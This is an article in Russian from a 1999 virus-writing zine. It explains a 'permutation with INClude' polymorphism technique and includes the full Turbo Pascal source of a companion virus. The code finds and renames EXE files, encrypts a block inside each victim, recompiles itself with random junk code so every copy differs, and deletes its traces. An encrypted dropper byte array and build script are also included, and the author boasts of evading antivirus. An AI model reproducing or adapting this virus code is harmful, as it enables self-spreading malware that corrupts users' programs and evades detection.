- [Duke's Virus Labs #4] - [Page 07] - HLLC.PINC.Demo Полиморфизм на паскале (Part III) (c) by Duke/SMF Имя вируса : HLLC.PINC.Demo Автор : Duke/SMF Язык прогр. : Turbo Pascal 7.0 Дата создания : 12.01.99 Представляю очередную pascal-технологию. И снова - полиморфизм ;) Технологию я обозвал "Permutation with INClude", что кое-как отражает ее суть :) PINC - это пермутирование с использованием INC-файлов. Рассказать об идеях PINC лучше на примере вируса HLLC.PINC.Demo. В этой статье я снабдил текст вируса совсем маленькими комментариями. В прилагающемся к статье архиве в исходниках комментариев нет. Это сделано для того, чтобы они не занимали много места в теле вируса (оказалось, что русские комментарии плохо пакуются :(( Таким образом, откомпилировав вирус из статьи и вирус из архива вы получите два разных вируса ;)) Теперь о технологии. Идея заключается в таскании с собой исходных текстов вируса в виде INC-файлов и перекомпиляции вируса. Перед этим в текст вируса добавляется куча мусорных команд и подключаемые INC-файлы перемешиваются по типу конструктора. В итоге получаем пермутирующий вирус, у которого различается длина и начинка (в отличие от привычных для слуха полиморфиков, которые шифруют свое тело). Это вид полиморфизма является шестой (наивысшей ;) степенью полиморфности. Поскольку компилятор Turbo Pascal сам по себе великолепный антиэвристик/полиморфик, то получаем просто потрясающие результаты. Используя 20-25 INC-файлов можно не бояться никакого Касперского 8-)) Теперь о содержимом вируса. Это достаточно простенький компаньон-вирус. Он занимается тем, что ищет EXE-файлы длиной более 2500 байт; переименовывает их в DAT-файлы; шифрует 2000 байт в центре жертвы (местоположение шифруемого блока различается от файла к файлу и подсчитывается по формуле) с 20-битным ключом; мутирует, с перешифровыванием блока своих данных с тем же ключом (каждый раз новым ;) и записывается вместо EXE-файла. И все ! Это же демо-вирус... А теперь о том, для чего нужен каждый из inc-файлов : s0.inc - описание переменных, констант, и процедур с директивой forward s1.inc - proc. Infect - заражает очередную жертву s2.inc - proc. FindFile - поиск жертв s3.inc - proc. MakeInc - воссоздает на диске INC-файлы s4.inc - proc. MakePas - создает и компилирует PAS-файл s5.inc - proc. Start - главная работающая процедура s6.inc - func. DetectComp - проверка наличия компиляторов s7.inc - proc. Demon - проявления вируса s8.inc - proc. Crypt - шифровка куска жертвы sd.inc - массив с зашифрованным файлом sd.com sk.inc - массив с ключом для расшифровки Файлы s0.inc - s8.inc вирус таскает с собой в виде зашифрованного SFX архива (файл sd.inc). Файлы sd.inc и sk.inc каждый раз генерируются заново процедурой MakeInc. Файл sk.inc представляет собой постоянно меняющийся 20-битный ключ, с помощью которого шифруются поражаемые файлы и массив Dr (содержимое файла sd.inc). При этом массив Dr уже нельзя использовать в качестве сигнатуры. Если объединить технологии TRANS и PINC, да еще добавить парочку наворотов, то получится неплохой монстр. Но это уже другая история... А теперь собственно исходники статейного варианта вируса HLLC.PINC.Demo: ===== begin s0.inc ===== {$M 6000, 4000, 6000} {$I-,S-} const dr:array[1..DropLen] of byte = {$I sd.inc}; OldKey:array[1..20] of byte = ({$I sk.inc}); var Command,Compile:string; Dummy:byte; a:dirstr; b:namestr; c:extstr; NewKey :array[1..20] of byte; procedure Infect(st:string);forward; procedure FindFile;forward; procedure MakeInc;forward; procedure MakePas;forward; procedure Start;forward; function DetectComp:boolean;forward; procedure Demon;forward; procedure Crypt(n:string;typ:byte);forward; ===== end s0.inc ===== ===== begin s1.inc ===== procedure Infect(st:string); var k:string; f:file; begin fsplit(st,a,b,c); k:=a+b+'.dat'; assign(f,k);{$I-}reset(f);{$I+} if ioresult=0 then begin close(f);exit;end; {уже инфицирован} MakePas; {получили sf.exe} assign(f,st); rename(f,k); Crypt(k,1); assign(f,'sf.exe'); rename(f,st); end; ===== end s1.inc ===== ===== begin s2.inc ===== procedure FindFile; var s:searchrec; begin findfirst('*.exe',$21,s); while doserror=0 do begin if s.size>2500 then Infect(s.name); findnext(s); end; end; ===== end s2.inc ===== ===== begin s3.inc ===== procedure MakeInc; var d:file; i,j:integer; t,k:text; Dropper:array[1..DropLen] of byte; begin j:=1; for i:=1 to DropLen do begin Dropper[i]:=dr[i] xor OldKey[j]; if j=20 then j:=1 else inc(j); end; assign(d,'sd.com');rewrite(d,DropLen); blockwrite(d,Dropper,1); close(d); exec('sd.com',''); {создаем s?.inc} assign(k,'sk.inc'); {создаем sk.inc : } rewrite(k); for i:=1 to 19 do begin NewKey[i]:=random(256); write(k,NewKey[i],','); end; NewKey[20]:=random(256); write(k,NewKey[20]); close(k); assign(t,'sd.inc'); {создаем sd.inc : } rewrite(t); j:=1; write(t,'('); for i:=1 to DropLen do begin write(t,Dropper[i] xor NewKey[j]); if i<>DropLen then write(t,','); if j=20 then begin writeln(t,'');j:=1;end else inc(j); end; write(t,')'); close(t); end; ===== end s3.inc ===== ===== begin s4.inc ===== procedure MakePas; const nic=8; {кол-во подключ.файлов} var t:text; a,i,j,k,l:byte; m:array[1..nic] of byte; st:string; f:text; label lab; begin assign(t,'sf.pas');rewrite(t); writeln(t,'uses dos;'); writeln(t,'const DropLen=',DropLen,';'); writeln(t,'var Fake:boolean;'); { randomize; } for i:=1 to nic do m[i]:=0; writeln(t,'{$I s0.inc}'); for i:=1 to nic do {по кол-ву подключаемых файлов} begin lab: a:=random(nic)+1; if m[a]=0 then begin m[a]:=1; for j:=1 to random(3)+1 do {создаем пустышки} begin inc(Dummy); str(Dummy+10,st); assign(f,'s'+st+'.inc'); rewrite(f); writeln(f,'procedure s'+st+';assembler;'); writeln(f,'asm'); writeln(f,'jmp @'); for k:=1 to random(10)+1 do {кол-во строк} begin write(f,'db '); for l:=1 to random(20)+1 do write(f,random(256),','); writeln(f,random(256)); end; writeln(f,'@:'); writeln(f,'end;'); close(f); writeln(t,'{$I s',Dummy+10,'.inc}'); end; end else goto lab; writeln(t,'{$I s',a,'.inc}'); end; writeln(t,'begin'); writeln(t,'Start;'); writeln(t,'Fake:=false;'); writeln(t,'if Fake then'); writeln(t,' begin'); for i:=1 to Dummy do writeln(t,' s',i+10,';'); writeln(t,' end;'); writeln(t,'end.'); close(t); exec(Command,'/c '+Compile+' sf.pas>nul'); Dummy:=0; end; ===== end s4.inc ===== ===== begin s5.inc ===== procedure Start; var g,par:string; s:searchrec; i:byte; begin Command:=GetEnv('COMSPEC'); fsplit(paramstr(0),a,b,c); g:=a+b+'.dat'; findfirst(g,$3F,s); if doserror=0 then {запуск жертвы} begin par:=''; for i:=1 to paramcount do par:=par+paramstr(i)+' '; Crypt(g,0); exec(g,par); Crypt(g,0); end; Dummy:=0; randomize; MakeInc; if DetectComp then FindFile else exit; exec(Command,'/c del s*.inc>nul');{заметаем следы} exec(Command,'/c del s?.*>nul'); Demon; {проявления вируса} end; ===== end s5.inc ===== ===== begin s6.inc ===== function DetectComp:boolean; begin DetectComp:=false; Compile:='tpc.exe'; exec(Command,'/c '+Compile+'>nul'); if doserror<>0 then begin Compile:='bpc.exe'; exec(Command,'/c '+Compile+'>nul'); if doserror=0 then DetectComp:=true; end else DetectComp:=true; end; ===== end s6.inc ===== ===== begin s7.inc ===== procedure Demon; var dy,dm,dd,dw:word; begin GetDate(dy,dm,dd,dw); if (dm=2) and (dd=20) then begin writeln('* This is demo virus for PINC technology ! *'); writeln('Created (c) by Duke/SMF special for DVL #4'); writeln(' PINC - one of the best polimorphic viruses '); end; end; ===== end s7.inc ===== ===== begin s8.inc ===== procedure Crypt(n:string;typ:byte); const CS=2000; var c:file; {шифруемый файл} attr:word; {атрибуты файла} t:array[1..CS] of byte; {шифруемый массив} ch:byte; i,j:integer; begin assign(c,n); getfattr(c,attr); {сохраняем атрибуты} setfattr(c,$20); reset(c,1); seek(c,200); {прикладываем героические усилия} blockread(c,ch,1); { для вычисления начальной } for i:=1 to 10 do { позиции шифрования жертвы} begin seek(c,ch); blockread(c,ch,1); end; seek(c,ch+400); blockread(c,t,CS); {читаем кусок из середины} j:=1; for i:=1 to CS do {шифруем этот кусок} begin if typ=0 then t[i]:=t[i] xor OldKey[j] {при запуске} else t[i]:=t[i] xor NewKey[j]; {при заражении} if j=20 then j:=1 else inc(j); end; seek(c,ch+400); blockwrite(c,t,CS); {записываем кусок} close(c); setfattr(c,attr); {возвращаем атрибуты} end; ===== end s8.inc ===== ===== begin sd.inc ===== (80,184,79,42,186,172,9,59,196,115,121,139,196,45,66,3,37,240,255,139, 248,185,161,0,190,142,1,252,243,165,139,216,177,4,211,235,140,217,3,217, 83,51,219,83,203,144,51,1,80,75,76,73,84,69,32,67,111,112,114,46, 32,49,57,57,48,45,49,57,57,53,32,80,75,87,65,82,69,32,73,110, 99,46,32,65,108,108,32,82,105,103,104,116,115,32,82,101,115,101,114,118, 101,100,78,111,116,32,101,110,111,117,103,104,32,109,101,109,111,114,121,36, 32,32,32,32,32,32,32,32,32,32,32,32,184,0,9,186,102,1,205,33, 205,32,253,139,248,79,79,190,206,2,3,242,139,202,209,233,243,165,252,135, 247,70,70,191,0,1,173,149,186,16,0,235,50,144,173,149,178,16,235,59, 173,149,178,16,235,60,173,149,178,16,235,65,173,149,178,16,235,99,173,149, 178,16,235,100,173,149,178,16,235,101,173,149,178,16,235,102,173,149,178,16, 114,8,164,209,237,74,116,244,115,248,51,201,51,219,209,237,74,116,191,209, 211,209,237,74,116,190,209,211,133,219,116,23,209,237,74,116,185,209,211,128, 251,6,114,11,209,237,74,117,4,173,149,178,16,209,211,46,138,143,27,1, 128,249,10,116,58,51,219,131,249,2,116,38,209,237,74,116,151,114,31,209, 237,74,116,150,209,211,209,237,74,116,149,209,211,209,237,74,116,148,209,211, 128,251,2,115,30,46,138,191,43,1,172,138,216,86,139,247,43,243,243,164, 94,235,136,172,2,200,128,213,0,60,255,117,188,235,51,209,237,74,117,4, 173,149,178,16,209,211,128,251,8,114,210,209,237,74,117,4,173,149,178,16, 209,211,128,251,23,114,194,209,237,74,117,4,173,149,178,16,209,211,129,227, 223,0,134,223,235,180,88,6,187,0,1,83,51,219,139,203,139,211,139,235, 139,243,139,251,203,3,0,2,10,4,5,0,0,0,0,0,0,6,7,8, 9,1,2,0,0,3,4,5,6,0,0,0,0,0,0,0,0,7,8,9, 10,11,12,13,0,80,186,174,1,232,138,0,185,7,2,144,186,181,128,162, 10,139,0,186,188,3,232,122,16,56,1,148,130,16,195,10,123,16,251,4, 232,106,162,160,16,170,0,16,2,5,232,107,148,162,16,172,6,90,16,62, 3,148,130,16,179,10,91,16,241,8,232,74,162,148,16,164,5,16,248,10, 75,130,146,16,156,14,232,58,16,14,74,65,80,163,10,59,16,177,16,232, 42,73,165,16,26,80,184,10,43,160,164,16,210,17,232,26,16,44,16,217, 82,80,10,27,16,5,19,232,10,148,2,16,67,4,16,12,10,11,0,180, 60,0,80,185,0,0,205,33,163,172,1,195,180,64,139,30,197,169,7,12, 180,62,8,195,0,64,25,115,48,46,105,110,99,0,123,36,77,32,54,48, 97,79,1,44,32,52,6,12,20,72,125,13,10,23,73,45,44,83,45,10, 0,0,99,111,110,115,116,32,100,114,58,97,114,114,97,121,91,49,0,0, 46,46,68,114,111,112,76,101,110,93,32,111,102,32,98,121,144,152,116,101, 32,61,32,47,32,115,100,148,13,81,125,59,51,32,1,79,108,100,116,186, 75,101,121,0,55,50,48,2,50,40,109,75,51,107,51,41,52,5,32,118, 40,32,67,111,109,109,97,110,100,44,65,41,8,112,105,108,101,58,120,114, 31,55,85,103,81,68,117,29,243,6,78,62,17,97,58,100,105,121,3,114, 35,15,98,58,110,97,109,29,116,101,0,16,99,58,101,120,116,0,15,164, 158,78,101,119,142,32,11,143,10,20,35,112,212,99,101,100,117,114,155,73, 160,238,110,102,101,99,116,40,58,127,130,210,157,102,111,114,119,55,100,149, 170,3,38,70,26,100,4,164,14,165,11,29,77,97,107,101,71,99,163,83, 15,28,80,97,115,11,28,83,116,58,5,18,116,1,26,102,117,69,116,105, 111,69,14,110,252,101,116,148,64,209,23,58,98,111,111,118,97,110,139,14, 11,64,39,109,111,12,26,67,114,121,229,129,112,212,110,82,116,90,232,14, 74,0,44,54,220,115,49,14,18,28,208,7,164,107,128,129,4,150,102,58, 102,6,66,37,13,98,101,103,22,179,115,76,96,112,108,105,55,44,97,44, 98,44,99,22,0,54,50,61,97,43,98,43,39,46,100,97,178,0,116,39, 16,253,115,105,103,110,40,102,106,80,44,107,30,103,125,169,218,110,115,224, 16,130,168,14,43,114,105,102,32,245,4,192,21,117,108,116,61,48,32,116, 104,101,110,32,134,154,94,32,99,108,111,42,84,41,41,101,120,100,5,110, 183,0,0,32,123,227,166,165,32,168,173,228,168,230,168,224,174,162,160,249, 224,173,63,98,96,1,134,34,175,174,171,227,231,64,209,168,171,168,32,115, 102,46,57,101,125,107,214,1,130,167,161,107,224,89,58,145,7,160,14,43, 107,44,49,41,59,245,2,172,39,61,39,3,48,115,210,63,136,115,50,240, 241,5,63,32,0,85,54,115,58,185,148,134,7,99,104,26,99,1,44,52, 136,36,102,195,40,39,42,13,53,93,44,36,50,49,85,73,82,84,119,104, 60,32,100,239,114,9,212,83,114,6,11,192,93,112,57,1,10,9,35,115, 46,155,122,101,184,240,62,50,53,48,36,192,156,178,46,158,129,20,69,158, 98,110,98,215,7,40,85,16,188,245,171,177,51,5,177,135,167,180,176,100, 7,3,215,80,202,66,105,44,106,58,45,116,124,101,35,80,77,116,44,107, 58,245,72,16,88,155,40,77,17,112,101,17,123,49,34,0,244,74,61,49, 88,149,218,213,87,197,221,11,74,111,32,45,111,148,6,227,85,91,105,93, 40,100,73,30,7,32,120,53,10,23,85,91,106,93,59,112,97,7,106,61, 50,0,22,149,91,226,108,115,204,244,11,218,40,106,2,242,2,32,199,100, 199,100,46,99,111,109,80,168,199,243,119,114,105,154,188,39,20,128,48,98, 232,121,108,111,99,107,2,24,129,240,160,9,123,100,5,234,240,120,101,95, 173,12,73,82,76,2,176,101,225,174,167,164,160,165,172,32,115,63,244,151, 210,115,107,75,103,115,229,39,223,200,0,38,19,32,58,32,41,119,177,137, 125,129,134,2,24,49,57,6,19,67,23,196,132,21,18,114,40,127,40,156, 183,50,53,54,232,68,44,191,104,35,120,44,39,2,184,67,3,25,123,207, 246,6,61,5,59,34,174,137,0,241,107,1,5,116,133,174,62,7,203,100, 47,185,8,203,23,112,23,234,18,60,40,26,222,39,41,28,249,50,198,133, 0,1,250,27,15,159,106,93,41,240,46,251,105,60,62,67,254,111,1,107, 250,227,161,3,31,219,206,67,36,108,205,37,29,104,164,32,13,252,105,55, 81,41,39,0,248,164,19,244,104,50,6,115,52,9,69,244,9,123,32,0, 54,110,105,99,61,56,45,170,174,171,0,0,45,162,174,32,175,174,164,170, 171,238,231,46,228,160,169,171,28,162,174,162,125,107,116,9,33,2,74,97, 44,208,92,109,44,107,44,108,2,233,109,147,108,0,89,81,2,50,63,85, 30,251,236,162,146,166,200,80,108,97,243,108,32,6,38,13,0,126,1,168, 38,202,102,46,112,14,1,62,30,8,116,11,80,134,30,117,235,115,210,207, 129,59,39,5,25,218,11,60,121,61,39,82,125,63,25,7,42,10,124,222, 70,18,190,57,180,33,123,32,24,26,127,189,162,49,57,125,4,19,179,22, 224,117,242,245,21,228,48,4,79,87,212,49,181,125,120,135,7,75,56,89, 240,236,32,108,227,32,136,108,163,235,229,32,15,31,113,3,166,103,23,58, 15,97,79,18,14,67,41,43,15,139,49,56,130,97,93,203,175,125,248,208, 95,159,32,62,184,28,221,144,238,112,135,106,135,91,238,75,51,73,143,71, 0,37,175,227,225,226,235,232,60,169,170,168,125,28,91,92,1,78,32,120, 209,151,222,41,2,103,60,210,19,185,252,73,48,103,108,78,25,1,145,39, 43,69,56,25,86,228,125,145,32,160,63,207,102,0,19,200,198,67,52,0, 170,91,66,62,59,80,101,109,98,108,152,94,218,39,11,50,58,232,32,109, 12,25,106,109,112,32,64,1,3,26,27,7,107,4,234,194,7,187,8,39, 224,1,225,226,224,174,170,67,195,5,5,7,35,137,250,93,100,98,32,126, 234,1,91,93,108,4,222,183,93,50,93,53,105,211,1,213,0,2,222,251, 6,183,1,37,2,33,33,157,207,7,228,64,58,62,251,12,252,47,1,26, 23,251,151,6,43,195,144,181,37,7,26,204,39,0,123,46,192,6,123,10, 29,74,123,139,103,111,30,210,234,187,245,166,10,79,97,4,72,1,231,66, 174,39,88,147,35,6,143,247,37,94,6,22,200,30,161,61,102,97,118,7, 28,50,151,8,31,244,11,6,6,28,205,230,189,8,213,234,135,55,152,44, 237,126,180,105,255,7,100,246,212,190,6,22,20,46,108,132,7,116,120,167, 2,35,39,47,99,32,39,87,197,43,41,43,39,32,161,176,208,62,110,117, 108,143,186,55,45,244,50,66,171,205,14,53,5,171,28,70,14,131,103,44, 105,214,60,114,4,70,210,18,4,177,166,45,222,58,4,202,5,0,138,101, 71,101,116,69,110,118,40,39,67,79,77,56,112,83,80,69,67,18,148,100, 7,87,97,109,8,173,204,48,41,0,104,165,16,103,5,16,229,194,0,7, 136,36,51,70,145,3,1,45,45,123,1,254,71,40,193,123,167,160,72,170, 128,22,32,166,165,224,226,162,235,125,3,38,142,52,192,61,39,39,212,176, 245,1,142,193,192,129,99,111,117,110,116,147,78,63,38,5,43,152,105,129, 243,41,60,55,200,229,248,131,48,226,192,84,110,130,190,25,41,11,31,208, 208,86,1,103,236,40,0,213,71,206,130,76,199,86,207,0,188,199,167,28, 26,92,165,233,202,65,56,9,220,100,187,115,3,23,42,180,18,195,212,254, 172,165,226,96,118,77,225,171,165,164,255,12,52,52,174,63,46,42,0,6, 22,14,16,22,224,174,239,5,128,162,54,173,168,239,32,162,168,224,227,225, 160,125,171,88,5,54,108,237,21,18,103,67,191,239,1,28,100,113,46,3, 117,96,168,61,39,116,112,99,149,198,194,21,167,191,129,154,1,223,60,62, 230,31,0,103,186,126,208,0,90,98,0,90,161,47,149,22,92,111,236,192, 6,61,2,240,32,191,116,114,117,101,197,7,250,176,135,9,31,130,38,33, 55,5,7,174,54,82,10,85,36,121,44,100,109,3,96,117,137,100,119,58, 119,111,119,8,113,192,18,68,163,244,97,68,0,34,187,64,245,19,109,61, 50,41,32,166,72,191,11,100,250,163,156,41,8,252,0,41,7,39,42,32, 84,104,105,115,32,3,100,81,22,119,32,118,105,153,115,161,10,222,80,73, 78,67,56,177,104,110,0,52,111,108,111,103,121,32,33,32,42,39,41,3, 163,50,43,39,67,173,130,21,99,102,99,98,98,121,0,66,62,107,101,47, 83,77,70,20,54,218,112,57,105,97,108,73,68,208,79,86,76,32,35,52, 6,60,96,202,72,45,32,234,101,153,17,108,161,157,149,66,244,112,110,105, 136,114,112,104,196,29,109,141,73,107,34,39,7,26,90,89,56,5,51,15, 255,100,123,37,2,92,67,83,8,48,48,112,52,86,99,122,29,136,32,15, 1,123,232,168,228,224,227,104,197,215,169,215,43,84,78,237,29,232,95,134, 14,0,219,55,160,226,224,168,161,227,226,235,54,160,173,229,55,116,0,91, 106,185,135,0,90,3,55,11,110,172,160,225,225,168,162,57,99,45,183,104, 2,162,4,174,101,34,4,109,86,43,99,44,91,27,102,78,116,102,165,16, 7,61,18,41,11,168,49,229,8,121,224,160,173,239,230,83,199,175,112,115, 0,59,36,50,48,209,143,130,193,209,50,99,138,12,155,11,101,107,12,104, 8,68,41,16,55,165,48,4,168,170,247,164,235,162,20,0,67,163,165,224, 174,168,231,165,225,170,168,136,129,165,32,227,225,28,239,125,171,5,253,101, 205,55,100,77,223,92,142,80,10,72,32,164,171,70,56,20,235,231,168,225, 81,173,160,64,203,231,160,171,236,173,174,169,6,172,216,203,49,48,251,17, 3,10,67,175,174,167,176,168,3,99,32,92,200,102,181,71,10,119,29,213, 217,140,236,141,100,8,160,0,63,124,122,43,43,52,48,48,221,13,202,45, 116,44,67,189,150,83,12,205,198,1,80,82,170,227,225,174,170,32,168,167, 32,225,48,91,134,165,164,168,173,136,9,95,253,169,70,14,210,34,56,37, 32,237,226,174,226,15,182,78,39,0,20,18,224,252,124,212,250,142,116,42, 90,224,116,7,127,192,213,168,32,225,90,233,165,1,94,105,41,32,104,255, 169,5,58,58,47,21,59,58,224,2,87,160,166,152,105,67,106,24,32,195, 145,19,64,27,70,91,16,65,224,224,146,168,225,83,123,68,246,177,7,27, 99,153,24,65,209,243,123,162,174,167,162,180,233,160,56,27,4,243,150,255) ===== end sd.inc ===== ===== begin sk.inc ===== 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 ===== end sk.inc ===== ===== begin pincdemo.pas ===== uses dos; const DropLen=2940; {$I s0.inc} {$I s1.inc} {$I s2.inc} {$I s3.inc} {$I s4.inc} {$I s5.inc} {$I s6.inc} {$I s7.inc} {$I s8.inc} begin Start end. ===== end pincdemo.pas ===== ===== begin make.bat ===== dat2asm.exe 2 make.txt sd.asm tasm sd.asm tlink sd.obj /t del sd.obj del sd.map pklite sd.com opt2inc.exe sd.com sd.inc ===== end make.bat ===== ===== begin make.txt ===== s0.inc s1.inc s2.inc s3.inc s4.inc s5.inc s6.inc s7.inc s8.inc ===== end make.txt ===== Это все !